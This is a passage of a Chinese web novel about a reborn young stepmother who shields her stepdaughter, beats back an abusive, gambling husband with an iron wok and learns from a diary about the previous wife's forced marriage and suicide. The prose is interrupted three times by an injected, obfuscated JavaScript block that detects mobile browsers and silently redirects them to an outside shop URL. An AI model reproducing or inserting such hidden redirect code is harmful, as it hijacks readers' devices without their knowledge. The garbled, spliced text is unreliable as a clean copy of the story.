叶梅单手端碗没掌握好平衡,一把筷子滑落,掉在了地上。 “笨死了。”叶建国探头往厨房里看了一眼,幸灾乐祸地做了个鬼脸,一溜烟跑走了。 叶梅也不说话,慢慢弯腰,用一只手把筷子一根一根捡起扔进水池。 林薇嘴角的冷笑忽然僵住了。 她突然反应过来——叶梅右手的绷带是因为替她挡刀受伤了。 那天叶梅被邻居送到了卫生所,所幸那一刀没伤到筋骨,但缝了好几针。 打了绷带的右臂不能沾水不能受力,叶梅就用一只左手做饭,绷带上难免沾了油污。 而这会儿她正艰难而缓慢地用别扭的左手洗碗。 叶梅干活儿精细,哪怕一只手不方便,她还是仔细把碗筷上的浮油冲掉,再用丝瓜瓤沾上白碱擦拭,再用清水冲洗干净。 寒冬腊月,那一池水像在冒寒气。 叶梅手红肿得像胡萝卜,上面布满了陈年冻疮和裂口。手沾到冷水,那些大大小小的口子就张开了,像一张张小嘴在无声呐喊。 林薇看着那双在冰水里起伏的手,不再觉得解气,而是感到心酸。 上一世,小时候的自己在冬天的冷水里洗全家人的衣服,手也像这样冻得红肿皴裂。 水很冰,手很痛,她绝望地想,要是有一双铁手就好了。 衣服一件又一件,洗完哥哥的还有弟弟的,洗完爸妈和奶奶的才能洗自己的。 手终于冻得失去了知觉。 夜里躺在床上,冻疮受了温又痒起来,痒得她睡不着。 她翻来覆去,又想要是故事里的许愿神灯真的存在就好了,她一定许愿赐她一个洗衣服的小帮手。 可没有神灯,没人来帮她,她的冻疮长成泡,生了脓,做家务的还是她。 哥哥弟弟不会因为从不洗衣服而失去父母的爱,她却会因一次衣服没洗好而收获责备。 洗衣服,打扫鸡圈,省吃俭用,都是她在这个家里换取爱的对价。 而哥哥弟弟什么都不用做,他们天然就被爱着。 林薇攥紧了拳头,好像手又疼了起来。 “叶建国干什么去了”林薇突然出声,“他怎么不洗碗?” 叶梅洗碗的动作停了一下,低声说:“出去玩了,他还小,不会。” 林薇冷笑,他长大了也不会干的,就像现在的叶建军。 叶梅已经洗完了碗,正准备刷锅。那口大铁锅死沉死沉的,平时两只手都费劲,现在只能咬牙用一只手去端,可左手力气不够,她的胳膊直打颤。 锅眼看就要砸下来。 一只手横空伸出夺过了铁锅,叶梅手上一轻。 她惊慌地抬头,正对上林薇那张写满不耐烦的脸。 “起开!” 4. 恶毒后妈不够恶毒 “起开!” 林薇没好气地把叶梅挤到一边,“笨手笨脚的,看着就让人心烦。” “妈…”叶梅不知所措地站在一旁。 “闭嘴,别叫我。” 林薇黑着脸,挽起袖子,抄起丝瓜瓤,对着铁锅狠狠地刷了起来。 还是心太软了!林薇在心里狠狠骂自己。说好的恶毒后妈呢?怎么还没坚持过三集就开始帮人干活了? “我是看你右手废了,怕你把锅砸了,晚上没饭吃。”林薇头也不回地找补,语气硬邦邦的,“还有,你手上的冻疮,去找点蛤蜊油抹上,看着闹心。” 身后一片安静。 只有水流哗哗的声音。 林薇刷完锅,关上水龙头,甩了甩手上的水,一回头,见叶梅立在那儿,眼眶红通通的,两汪眼泪正包在眼眶里打转,要掉不掉。 林薇:“你哭什么?” 叶梅张了张嘴,什么都没说出来,眼泪却先一步噼里啪啦掉了下来。 她说不上自己哭什么。 母亲去世三年了,还是第一次有人看到了她手上的冻疮。 这三年,洗碗刷锅从来都是她的活儿。在这个家里,她是姐姐,是赔钱货,干活是天经地义的。 以前她连锅都举不动,得踩着小板凳才够得着水槽。大冬天的水像冰渣子,她手背全是紫红的冻疮,一到夜里就痒得钻心。她没喊过一声疼,没掉过一滴泪,甚至没觉得委屈。 可今天林薇看见了她的冻疮,她突然觉得委屈,突然想哭。 【检测到任务目标“叶梅”产生强烈的安全感与依赖。】 【任务目标对宿主好感度+10】 【恭喜宿主,解锁战斗系技能:万物皆兵器】 【技能说明:须配合“以力服人”使用,无论是铁锅、扫帚还是鸡毛掸子,在你手中都能发挥出200%的暴击伤害。专治各种不服。】 林薇看着系统面板,又看了看哭成泪人的叶梅,恍然大悟。 原来是被感动的? 叶梅啊叶梅,你老了以后那么难搞,原来小时候是这么一副不值钱的样子。 “行了,把那两滴猫尿收起来。”林薇心里好笑,嘴上却依然嫌弃,“哭哭啼啼的,怎么跟你哥哥弟弟一个样。” 叶梅忙抹了眼泪,正要说话时,大门突然“哐当”一声巨响,像是被人狠狠踹开了。 一股刺鼻的劣质白酒味顺着寒风灌了进来。 叶梅的身体瞬间抖了一下,眼神里流露出惊慌。 “爸…”叶梅声音发颤, 叶强回来了。 叶梅这个亲爹不到四十岁,中等个头,穿着件旧的军大衣,露出里面起球的毛线衣和微凸的啤酒肚。 “妈的…冻死老子了!” 叶强的脸紫红,眼皮浮肿耷拉着,眼袋比眼睛都大,进门后就骂骂咧咧把鞋一踢,整个人像一摊烂泥摔进沙发里,脚大剌剌往茶几上一架: “饭呢?怎么还没开饭?” 叶梅哪里敢说已经吃过饭了。她拿了拖鞋,小心地放到叶强脚下,低声说:“爸,先歇一歇,饭马上做好了…” 叶强很不满。 “马上?老子在外面累死累活,回来连口热乎饭都吃不上?养你们这群赔钱货有什么用!” 叶梅不敢出声,不知是要继续在这里挨骂,还是要赶紧去做饭。 “去倒水!想渴死我?”叶强又喊。 叶梅知道他是要喝茶,慌忙跑去厨房的拿出个铁皮罐,拧开盖子,从里面捏出几片茶叶放到搪瓷缸里,再颤巍巍提起暖瓶往搪瓷缸里倒水。 不知道是暖水瓶太沉还是太紧张,叶梅左手抖得厉害,倒进搪瓷缸时洒出来好些,叶梅顾不上擦,一只手捧着搪瓷缸小心地捧给叶强:“爸,小心烫…” “你妈呢?” “在…厨房…” 叶强不接茶杯,叶梅就一直捧着,不敢放下。 【警告!警告!】 【任务目标受到惊吓,心理阴影面积扩大。任务完成度-5%】 ? 林薇太阳穴一跳。 任务条好不容易往前推了一点,这个叶强才刚出现,就让一切回到了原点? 林薇直接走出厨房,手里还拎着刚洗干净的那把锅。 “哟,这不是好好的?”叶强乜斜着眼,把林薇从头到脚打量了一圈,咧嘴露出一口黄牙。 “他们说我媳妇在家里寻死觅活,我就知道唬我呢!” 酒气带着戾气喷出来,林薇离他好几米都觉得熏。 “真晦气,就因为他们说我连个小媳妇都看不住,气得我连输好几把牌!” 叶强这次在棋牌室待了四天,一直输,输的很惨。 中间有一局眼看要转运,有个邻居慌慌张张跑过来叫他,说他新娶的老婆煤气中毒了,不过好在人救了回来,让叶强赶紧回去看看。 叶强哪里肯错过这次翻盘的机会,他眼睛不离牌桌,摆摆手让邻居回去:“救过来了就好,你们让叶红看好她,我正忙着。” 邻居气得掉头就走。 叶强却没能翻盘,越输越多。 他打了一堆欠条,终于下了牌桌,准备回家“转转运”。 走出棋牌室,叶强先在门口的小餐馆赊了二两白酒,又腆着脸让老板送他一碟下酒菜。 叶强总是赊账,老板的脸色不好看,只给了他一小碟花生米。 没事,叶强心想,虽然在外面得看别人脸色,但回到家他就是老大,是皇帝。 胃里空的,二锅头喝下去烧的慌。叶强一饮而尽,起身回家。 家里有人给他端茶倒水,给他呈上热乎饭,打不还手骂不还口。 每次输钱叶强就回家。 在家里他的地位最高,他对任何人横挑鼻子竖挑眼,没人敢驳他。 输了钱,难免自我怀疑。可回家对老婆孩子一通吆五喝六,吃饱饭、睡足觉,过几天皇帝日子,自信心就回来了,他就能重整雄风回归棋牌室—— 这就是“转运”。 这次回家没吃上现成的,叶强很不满。 看见林薇,叶强更不满。 “你个娘们,娶回来还不安分,坏我财运!” 林薇立在厨房门口,她完全没在意叶强在骂什么,满脑子都在思考如何处置这个从天而降的醉鬼“老公”。 她判定叶梅这个亲爹赌博、酗酒,对家庭生活毫无贡献,也不能为叶梅的成长提供正向帮助。 这个男人的存在,不仅会影响她的系统任务进度表,更可能阻碍她赚钱! 但他是叶梅的爹,又是原主法律意义上的丈夫,眼下林薇一时没想好应对方法,决定冷眼再观察一会。 叶强终于接过叶红手中的茶杯,嘬着嘴饮了一口。 “噗” 茶水滚烫,叶强被烫的龇牙咧嘴,一口喷在地上。 “你个死丫头片子!你想烫死老子?!” 叶梅脸色煞白,本能地后退一步,缩着肩膀发抖:“爸,我不是故意的,我……” “还敢躲?!” 叶强抬手把还在冒热气的搪瓷缸照着叶梅扔过去。 叶梅根本不敢动,她绝望地闭上眼,等待茶杯和热水咂到身上。 “当——!!” 一声沉闷又刺耳的金属撞击声,在狭窄的客厅里炸开。 预想中的疼痛没有传来。 叶梅颤抖着把眼睛睁开一条缝,朝她飞来的搪瓷缸和热水,全被一口铁锅拦下来。 林薇不知什么时候冲过来。她一手叉腰,一手举起那口大铁锅,像举着一面盾牌,硬生生挡在了两人身前。 搪瓷缸落地,在地上滚了几圈停下了。 “你、你……”叶强惊得说不出话来。 【技能“万物皆兵器”生效中】 林薇颠了颠手中的铁锅,果然轻如羽毛,十分趁手。 叶强怎么当爹她管不着,但绝不能影响她的任务条。 “你以后不能打她。”林薇语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347836|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷硬,像下了个通知。 叶强先是一愣,这家里从来都是他当家作主,绝没有别人命令他的份儿,更何况这个人还是他花钱娶来的媳妇,这简直是挑战了他在这个家里的权威和尊严。“反了你了?!你这娘们——” 他满身酒气找到了合理的发泄对象,抡着拳头从沙发上蹿起来。 那一瞬间,林薇脑子里闪过一道影子——陈斌的拳头、巴掌、掐脖子的手。她听见自己上一世的哭喊,像从很远的地方传来。 可她这一世不想再听那声音了。 她抬起锅。 迎着那只拳头—— “咣!” 拳头砸在铁锅底,叶强惨叫一声,手腕一软,却还不死心,另一只拳头又挥上来。 林薇的锅比他快。 出拳——咣! 再出拳——咣! 叶强恼火得大叫一声,转而想扇巴掌——锅沿“啪”地一挡,反震得他半边胳膊发麻。 几个回合下来,叶强体力不支,疼得龇牙咧嘴,甩着手直吸冷气:“哎哟……你、你疯了?! 林薇眼神一点没动,抬脚就是一记狠的—— “砰!” 叶强的后腰撞向沙发,整个人像一个被踹回原位的破麻袋。 他还想爬起来,嘴里不干不净:“你个——” 林薇不等他把骂的话吐全,拎起铁锅就往他脑袋方向“呼”地一下扇过去。 风声带着铁的寒意。 叶强吓得脸色刷白,瞬间抱头闭眼,像被拔了胆。 锅没砸下去。 它停在他太阳穴旁边,冰冷的锅底贴得他头皮发麻。 林薇揪住他的领口,把叶强从沙发里拽起来半截,盯着那双酒气浑浊的眼睛,声音低却狠,像刀子贴着皮肉: “我说——以后,不许打人。” 叶强喉结滚了一下,浑浊的眼睛里流露出恐惧,半张着嘴,喘得像漏风的破风箱。 林薇注视着叶强,一阵恶寒与恨意从心头涌上来,她的手指扣得更紧。 和陈斌一样,叶强也是个家暴男。 重活一次,她绝不接受一个家暴男做丈夫。 她甚至能想象自己把锅夯下去的声音。 只需一下,叶强的脑袋就能开花。 可下一秒,她听见一声劈了嗓子的叫喊: “不要——!”叶梅站在旁边,脸白得像纸。 林薇猛地吸了口气,用最后一丝理智把自己拉回来。 家暴男可恨,但她不能现在把自己打进局子。 她要活着。 要赚钱。 绝不能让仇恨先一步把自己吞没。 叶强这个毒瘤要除,但不是现在,不是这种简单粗暴的方式。 林薇把锅往前一顶,顶得叶强脑袋偏过去。 林薇一字一顿:“记、住、了、吗?” 叶强连连点头:“记、记住了……记住了。” 林薇松开他。 叶强瘫回沙发,胸口剧烈起伏。 林薇把铁锅哐当一下丢回厨房灶台。 “我们已经吃完饭了。你想吃,自己煮。” 她转身往里屋走,叶强呆呆地盯着她干脆利落的背影。 林薇把门摔上,从里面落了锁。 “疯了…这娘们疯了!”叶强喃喃自语。 门一关,林薇长舒一口浊气。 教训了叶强,上一世被家暴时积累的郁气都消散了大半,乳腺瞬间通畅。 没想到系统技能如此好用,她的这重活一次真是太有滋味了。 【系统提示:完成成就“反制家庭暴力”】 【系统提示:任务目标对宿主好感度+10】 【任务目标安全感增强,心理健康程度+10】 【任务完成度:-4.5%】 林薇嘴角上扬,刚要扯出一个得意的笑。 糟了—— 她刚才只顾着耍帅关门,把叶梅忘客厅了! 5. 原主方薇 林薇心一沉:叶强刚吃了瘪,正是一肚子邪火没处发的时候,万一他拿叶梅撒气,自己这好不容易往回拉了一点的进度条,岂不是又要跌停? 她猛地转身,一把拉开房门。 沙发上的叶强吓得一个激灵,条件反射般坐直了身子。 林薇没理他,往客厅扫视了一圈,目光定格在墙角的叶梅——女孩缩着身子,不动不响,恨不得把呼吸都屏住,试图隐身,不让父亲注意到自己的存在。 变成个透明人,是叶梅这些年在家里习得的生存技能。 “你,进来。” 林薇示意叶梅,用的是命令的语气。 叶梅浑身一颤,下意识地看了一眼父亲的脸色。 叶强虽然脸色铁青,但看着林薇吆五喝六,愣是没敢吭一声。 叶梅进了里屋,林薇再次把门摔上。 “我错了…” 叶梅垂着头站在林薇面前,双手不安地绞着衣角,“我刚刚……是怕你真的打死了他。” 叶红以为林薇因为她刚喊的那一嗓子,向她兴师问罪来了。 “心疼你爹?” “不是不是!我是怕你被警察抓走!”叶梅脱口而出,随即自己也愣住了。她意识到,自己完全没在担心亲爹是不是受伤。 甚至,此刻她的脑子里生出了一个并不悲伤的念头:如果叶强真的死了会怎么样? 叶梅被自己大逆不道的念头吓坏了。 林薇似乎看透了叶梅的想法。 “我问你”,林薇清清嗓子,盯着叶梅包着纱布的手臂,“那天为什么替我挡刀?” 林薇一直觉得蹊跷,能为她挡刀,说明叶梅和这个后妈关系并不差。 可上一世,成为婆婆的叶梅提起早逝的继母,并没有表现出任何的惋惜或怀念,反倒是憎恶多一些。 难道这个小叶梅是个顶级绿茶,故意在她面前装乖卖可怜? “爸和奶奶,让我在家里看好你……”叶梅老老实实回答。 林薇冷笑:“我说呢,原来是怕他们骂你啊。” “不光是这个!”叶梅急切地抬起头:“我也不想你受伤!” “哦?”林薇眯起眼睛,“我以为你巴不得我死呢。” “我……”叶梅犹豫了一下,“我很久以前就认识你!早在你嫁给我爸之前!” 林薇扬起眉毛。 叶梅深吸一口气,像是鼓起勇气讲一个从未对人说的秘密。 “那一年,妈——我妈妈,当时她还在……”叶梅说的是自己亲妈。 “县百货大楼开业,门口有舞狮,妈带我和哥哥去看。人挤人,我走丢了…有个姐姐见我哭,过来哄我,给我擦泪,还帮我找到了妈。” 林薇眼中浮现一丝迷惘。 “我知道你忘了,可我一直记着!那个好心的姐姐梳着低马尾,头发又顺又滑,身上有好闻的草药味……” “你嫁给爹的那天,我一下就认出你来了!” “你不知道我有多高兴!妈走了三年,你来家那天,我第一次觉得天晴了一回……” 叶梅一股脑把憋了很久的话倒了出来,不敢看林薇的眼睛。 林薇心下了然,原主很久之前帮过叶梅一次,后来机缘巧合下,原主成了叶梅的后妈。但叶梅和原主在这个家里的处境都很艰难,叶梅一直没敢和原主相认。 可原主认出叶梅了吗?她之前对叶梅怎么样?煤气中毒是意外还是自杀? 林薇在脑中搜索原主的记忆,只找到一些模糊不清的碎片。 看林薇皱眉思索,叶梅忙说:“我知道你没认出我!我那时候还很小呢,和现在模样不一样。” “虽然你来了之后不大理人…但我知道你是因为嫁给爹不开心,你其实是个顶顶好的人!” 林微意识到,现在自己对原主几乎一无所知,这很不利于她在这个世界生活,更别说她还要以原主身份出去赚钱。 “咳——你知道”林薇清了清嗓子,“我前几天煤气中毒,醒来之后很多事都不记得了。所以,你帮我回忆回忆之前的事情。” “好!”叶梅很高兴,“你都记得些啥?” 林薇两手一摊,“我什么都不记得了。” “对了!”叶梅灵机一动,“你的日记!你拿出来看看,兴许能想起来很多呢。” 林薇又是一脸迷茫。 "就是那个大厚本子,"叶梅努力帮她回忆,“你刚来这个家不久,我看你老是翻,我问你那是啥书,你说是日记。” 原主有本日记?林薇眼睛一亮。 林薇环顾房间,日记应该就藏在这里,而眼下只有叶梅知道日记长什么样。 “我忘记放哪了,你帮我找找。”林薇煞有介事地说。 “好!” 叶梅开心地领了令,和林薇一起把房间翻了个底朝天。 枕头下、床褥下、衣柜里的每个角落、书桌侧的每一层抽屉她们都看了。林薇还踩着凳子往衣柜顶上探了探,只摸到一手灰。 并不是一无所获,她们翻出了原主的身份证,结婚证,原主之前藏的新毛巾新香皂,可就是没有日记本。 林薇失望地坐在地板上,她猜测原主已经把日记销毁了。 “这里有东西!”叶梅低呼一声,“就在床底那里!” 林薇弯腰往床下一看,果然在靠墙的角落,有个看不清颜色的包裹。林薇趴在地上试图把它拿出来,但胳膊根本够不到。 “我来!”叶梅二话不说钻进床底。 一分钟后,叶梅带着满头满脸的灰从床底下钻出来,拿着一只人造皮革包。 包打开,有两支笔,几张碎纸,和一本厚厚的笔记本。 “就是这个!”叶梅兴奋地举起本子,衣服上的灰尘团子簌簌落下来。 "脏死了。"林薇嫌弃地扔给叶梅一块毛巾,“把自己擦干净。” 叶梅接过,不知道是为日记本,还是为这一块毛巾,她低头笑了。 【系统提示:发现道具“原主日记”,阅读可解锁“原主记忆”】 林薇拿过日记本,迫不及待地翻开。 “那…我先出去了。”叶梅自觉后退一步。 “怎么?” “老师说,日记是隐私,不能随便看别人的…” 还挺懂事。 “出去你爹拿你撒气,你就在这待着吧。” 说完林薇就没再管她,自己往书桌前一坐,一目十行地开始读日记。 原主的字很好看,紧凑工整的蝇头小楷写满了每一张纸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347837|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>读着读着,林薇脑中突然多了大量记忆。原主记忆力强,观察细致,记忆画面大多细节清晰历历在目。 日记和记忆结合,原主短暂的一生在林薇面前展开。 原主二十四岁,本来叫方薇。 方薇七岁那年成了孤儿,姨妈收养了她。 姨妈家里已经有了表哥表妹,一家人全靠姨父在镇上打零工生活,方薇的到来让他们的生活更加拮据。 这种拮据让感情也稀薄了不少,姨妈没有苛待她,却也无力多疼她。方薇寄人篱下,深知有口饭吃已经是受了大恩,她不敢奢望更多,哪怕热爱读书,初中毕业也主动辍了学,一边帮姨妈操持家务,一边做些手工活补贴家用。 两年前,姨妈重病,弥留之际叫来全家人。姨妈拉着方薇的手,让她改跟姨父姓林。 方薇落泪,她明白姨妈是为自己筹划——姨妈走后,她在林家的处境难免尴尬。 方薇给姨父磕了头,改了姓认了祖。姨父在姨妈病榻前发誓,保证以后会把方薇、哦不林薇当成亲生女儿。 姨妈走了。 方薇变成林薇,继续在林家操持家务——姨父和表哥总在外面,表妹还在读书,家里离不开女人。 半年前,表哥林建突然跟她说,既然是林家的女儿,婚姻大事自然是由林家做主,他已经为她找好了婆家。 她自然不肯,她都没见过那个人,甚至连相亲的流程都没有。 林建不满,说她养不熟,不懂感恩,“你认了林家的祖,就得为林家效力。” 她想说为什么嫁人才算为家里效力,她这些年做家务挣家用不算效力吗? 但方薇忍住了没说。 林建见她不说话,又说如果不是林家给了你口饭吃,你早就饿死了,哪还有今天。 方薇再没说话,吃人嘴短,这条命既然是林家给的,那就只能任林家处置。 表哥就当她答应了,就这样把方薇许给了叶强。得知叶强是个带三个孩子的赌鬼,姨父觉得这婚事不妥——传出去别人会说他们欺负孤女。但思量了几圈,姨父终究还是没反对——自己还得靠儿子养老,儿子和一个外人,塾重塾轻他还是知道的。 姨父本来有一点愧疚,但很快说服了自己:这姑娘早晚要嫁,嫁鸡嫁狗都是她的命。 结婚的日子是林建提前一天通知方薇的——“你收拾下东西,明天就嫁过去。”说完林建就给她的房间下了锁。 第二天中午,叶强喊了几个牌友,在小饭店叫了一桌菜,林建作为娘家舅上座,一桌人喝的满脸通红——这就算是喜宴了。 新娘没参加喜宴,是下午直接被送进叶强卧室的。 原主的日记到结婚这天戛然而止,同时记忆出现大量空白。 也许在叶家的日子过于痛苦,原主不愿用文字记录,甚至连记忆都要强制删除。 从原主结婚到煤气中毒有半年的时间,这期间笔记本上没有落一个字,记忆也都是模糊不清的碎片。 林薇叹了口气:孤女、已婚、无业、初中学历、赌鬼老公,三个继子继女…… 她这重生抽到的开局牌实在不算好。 “你—想起来了?”背后突然传来一个声音。 林薇吓了一跳,她都忘了屋里还有一个人! 6. 叶强 林薇读日记的时候,叶梅一直安静坐在床边看她的背影,听到林薇叹气,才小心翼翼出声询问。 “想起来了,但你说的那件事我确实不记得。” 不管是日记还是记忆,都没有和叶梅相关的内容。 “没关系…”叶梅有些失落。 “那你…还记得煤气中毒那天的事吗?”叶梅的语气像藏着故事。 原主记忆里没有这一段,但林薇觉得那一定不是个意外。 “你讲讲。” 叶梅的表情纠结又痛苦: “那天早上,家里只有我们两个人。” “你突然给了我两块钱,让我拿着个空酱油瓶,去百货大楼旁边的供销社打一斤酱油,还说剩下的钱,就让我买大白兔奶糖吃。” “我很高兴,拿了钱就出门了。走到半路,突然想起来,上星期家里刚打了酱油,怎么瓶子就空了。而打一斤酱油用不到一块钱,你怎么给了我两块。 等我回来,看到门窗都关死了,你躺在地上……叶梅捂住眼睛,似乎不想再回忆下去了。 原主的死果然不是意外。 方薇早就做好了离开这个世界的准备。那个早上,她以糖果为诱惑,支走了叶梅。 叶梅回来后,看到的是年轻继母的尸体。 她被迫成为了自杀者的同谋,还因此被父亲责怪和殴打。 在往后漫长的人生里,叶梅一遍遍回忆起那个早上:如果她能早点察觉就好了,如果她能不被那几颗糖果诱惑就好了,如果她能跑得快一点就好了…… 后悔、遗憾,思念,经过岁月的发酵,最终酿成了怨恨——她只能恨她,才能让自己好过些。 林薇突然觉得,她能重生在那个早上,也许不是巧合,而是叶梅积累了几十年的执念导致的。 在这个时间线里,小叶梅终于救下了年轻的继母。 “我好怕,那天我跑得慢一点,你就真的走了……” 眼前十四岁的叶梅还在抽抽嗒嗒地哭,为那天早上的事情后怕。 “我知道,你不想嫁给爸,不想给我们的当后妈…他们说都说后妈难当…” “以后,你不用再给我们当后妈。”叶梅认真地说,“做饭洗衣打扫卫生,这些活我都能干!” 在叶梅的理解里,“后妈难当”这句话指的是照顾三个孩子太累了。只要她把家务活都干了,就能减轻林薇的痛苦。 林薇哑然失笑。 叶梅以为林薇不信,愈发认真地说:“我真的都会,你来家里之前,这些活都是我干的!” 林薇突然笑不出来了。 "你是说,家里的家务,都是你干的?" 叶梅点点头:“妈去世之后,奶奶来家里住了一段时间,她教会了我做饭洗衣裳,打扫卫生和缝补。我学会了,她说让我照顾哥哥弟弟和爸爸,就放心回二叔家去了。” 林薇沉默了。 人们总说,一个家里不能没有女人。 家里没有女人,地会没人拖,饭没人做,碗没人洗,臭袜子没人收,男人没人照顾。 叶梅的亲妈、叶梅的奶奶、叶梅,接力成为这个家里照顾男人的那个“女人”。 一代代的男人们,享受着女人们的接力,先是亲娘照顾,直到娶了“新娘”,被媳妇照顾,。 而做了一辈子家务的媳妇,等待自己成为婆婆的那一天,把家务卸给下一个女人。 上一世,叶梅也是这么对她的。 “真是够了,”林薇突然说,“家务只会由一个女人流转给另一个女人,在女人内部循环。” “什么?”叶梅一脸懵。 “我是说,明天开始,这个家里所有人都得做家务,饭轮流做,衣服自己洗。” “我爸不会做饭……”叶梅愣愣地说,“我哥跟建国也不会。” “不会就学。”林薇翻了个白眼,“这个家里以后我说了算。” 叶梅眼睛一亮:“你不准备走了?” “走去哪?” “虽然你不说,我知道你不喜欢这个家,也不喜欢爸……之前奶奶让我看好你,说保不齐哪天你就跑了……” 林薇苦笑,离开叶家,她连住的地方都没有。何况在系统任务完成前,她没法和叶梅分开。 “我没地儿去。”林薇伸了个拦腰,“放心,煤气中毒的事不会再发生了,我还得留着这条命好好赚钱呢。” 叶梅从她的话里得到了一种安全感,这种安全感让她忍不住扑上去抱了林薇一下。 “行了,脏兮兮的。”林薇打了个哈欠,有些别扭地推开叶梅。 经过这么一晚上,她看叶梅顺眼了一些,但她可不准备真跟叶梅上演母慈女孝的温情戏码。 一阵难以抵抗的困倦袭来,林薇揉了揉额角。 刚刚跟叶强的战斗消耗了大量体力,现在她要把一切都暂时抛掷脑后,专注睡觉补血。 “今晚你就待这里吧,出去小心你爹打你。” 说完,林薇自顾自地在床上躺下,三秒钟后进入无梦的睡眠。 叶梅看了看自己蹭的脏兮兮的衣服,拘谨地站在床边。 听着林薇均匀的呼吸声响起,叶梅小心地帮她盖好被子,轻轻拉上了吊灯。 出去前,叶梅先趴在门上听了一会儿,确认听到了叶强的鼾声,她才把门打开一条缝,闪身回到了客厅。 叶梅躺在了客厅角落那张小木板床上,想着林薇的那句“这个家里以后我说了算”,安心地进入梦乡。 叶强的这一夜睡得并不踏实。 他在凌晨五点多醒来,非常确信自己是做了噩梦。 梦里,那个一向乖顺的小媳妇,突然变身疯婆娘,凶神恶煞一样拿一口铁锅追着他打。 这梦太离谱了,他都觉得可笑,自己怎么会连个女的都打不过。 叶强下意识翻了个身,却发现自己睡在沙发上。 不对劲——以前他醉的再厉害,叶梅也都会把他扶回卧室。 叶强一个激灵坐起来,狠狠扇了自己一巴掌,让自己醒过来。 醒过来的第一件事,就是连滚带爬地跑去厨房。 他看到灶台上那口铁锅,感受到了噩梦成真的恐怖。 ——叶强不进厨房,当然不知道这就是他家一直用的铁锅,只知道梦里林薇就是用这口锅打他的。 外面天刚刚擦亮,叶强缓缓坐回沙发上,咂摸着这一切究竟是怎么发生的。 林薇是他从棋牌室赢来的。 他这几年走霉运,先是三年前老婆生病没了,接着棉纺厂的效益也开始下滑,干两天歇三天,工资总是拖欠。叶强在厂里后勤部,虽然混上了个维修组副组长,但没什么用——厂子都停工了,还要什么后勤部。 不过叶强自有自己的“生财之道”。 他爱打牌,也会打牌。之前厂里效益还行的时候,他发了工资就去牌局上过几把瘾,小赌怡情,有输有赢。 那时候他运气不错,赢的时候多。 自从厂子断断续续停工,棉纺厂的人都在找其他营生,有的去南方打工了,有的做点小生意。 叶强想了一圈,发现自己什么都不爱干,只想打牌。 叶强开始往赌场跑,反正都是赚钱,站着不如坐着,打工不如打牌。 最开始,他一周去两次,赚够一星期的生活费就收手。 渐渐的,他觉得自己牌技渐长,下的注越来越大。 到后来,他恨不得长在牌桌上。 每次开赌,他都得在棋牌室待几天——反正他一个鳏夫,没有老婆管,想待多久待多久。 饿了就在里面吃,困了就在楼上睡——棋牌室楼上就有几个房间,能叫小姐陪睡觉。 打牌嘛,就是输输赢赢。 赢了就加注,赢多了就叫个小姐睡一觉。 输了,就借点钱再赌。再输,就回家歇两天“转转运”。 别看他最近手气不好,之前他也是赢过钱的。 赢得多的时候,棋牌室里常打牌的那几个都欠他钱,包括林建。 林建是棋牌室老熟人了,欠他两万块。 林建本来已经欠了一屁股债,让他还钱是不可能了。 那天,叶强刚从楼上睡完觉,搂着小姐下楼,准备再开一局。林建从楼梯口蹭了出来。 “强哥。”林建赔着笑,递上一根华子。 叶强接了烟,却没正眼看他,这几天他正春风得意,恨不得鼻孔朝天。 林建给叶强点上烟,脸上的笑堆得更明显:“强哥最近手气挺好的,让兄弟也沾沾喜气。” “离我远点,啥事?”叶强可不想沾了林建的晦气。 林建看一眼旁边的小姐,那小姐很识趣地耸耸肩,踩着高跟鞋扭着屁股走了。 “是这样的哥,您也知道小弟我最近手头有点紧——” “想找我借钱?林建,你还欠着我两万呢。”叶强可不想把自己运气借出去。 “不不不,哪能呢!”林建连忙摆手,“您能宽限我这些天,小弟已经很感激了!哪还好意思再跟哥哥开口借钱。” “那是啥事?”叶强不耐烦了,他还急着去赢钱呢。 “强哥,您对我这么好,我一直把您当作亲哥哥。小弟心里一直惦记着您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347838|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事儿呢。” “我的什么事儿?”叶强皱眉。 “强哥,您…一表人才,又大方!又体面!只可惜,我大嫂走得早,家里没了个暖炕的人……” 叶强从这话里咂摸出了点意思,他停下脚步,等着林建说下去。 “我有…我家里有个妹妹,正在寻婆家。这丫头虽然年轻,但挺懂事,能干活儿!模样也是挑不出毛病的。 “我就想,要是她能跟了强哥,也算是能享福了!” 叶强是听说过林建有个妹妹,不过才17,中专还没毕业。 叶强吐了口烟,眯起眼睛:“你妹还小吧?你老子娘能同意?” 林建一愣,随即反应过来叶强误会了,连忙说:“不不不,不是那个妹妹!” 林建再畜生,也不能把自己亲妹妹往火坑里推。 